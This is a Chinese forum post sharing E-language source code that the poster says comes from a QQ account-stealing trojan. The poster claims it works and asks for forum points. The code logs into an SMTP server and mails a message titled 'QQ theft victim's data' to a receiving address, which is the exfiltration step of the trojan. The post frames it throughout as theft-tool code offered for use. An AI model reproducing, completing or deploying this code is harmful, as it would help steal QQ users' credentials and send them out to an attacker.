易语言收邮件源码
本来是做的个盗号木马,现在把源码拆分下来给你想要的一部分!!!
朋友给点辛苦分!
用是绝对能用的,看楼主会不会用了!!!
.版本
2
.支持库
internet
.子程序
_按钮1_被单击
.如果
(连接发信服务器
(编辑框5服务器.内容,
,
编辑框2发信账号.内容,
编辑框3发信密码.内容,
3000))
信息框
(“发信成功”,
#信息图标,
“盗号软件提示!”)
发送邮件
(“QQ被盗者资料!”,
“测试成功!可以生存盗号木马!”,
编辑框1收信账号.内容,
,
,
编辑框2发信账号.内容,
)
断开发信服务器
()
.否则
信息框
(“发信失败!请检查发信箱服务器是否开启?”,
#信息图标,
“盗号软件提示!”)
.如果结束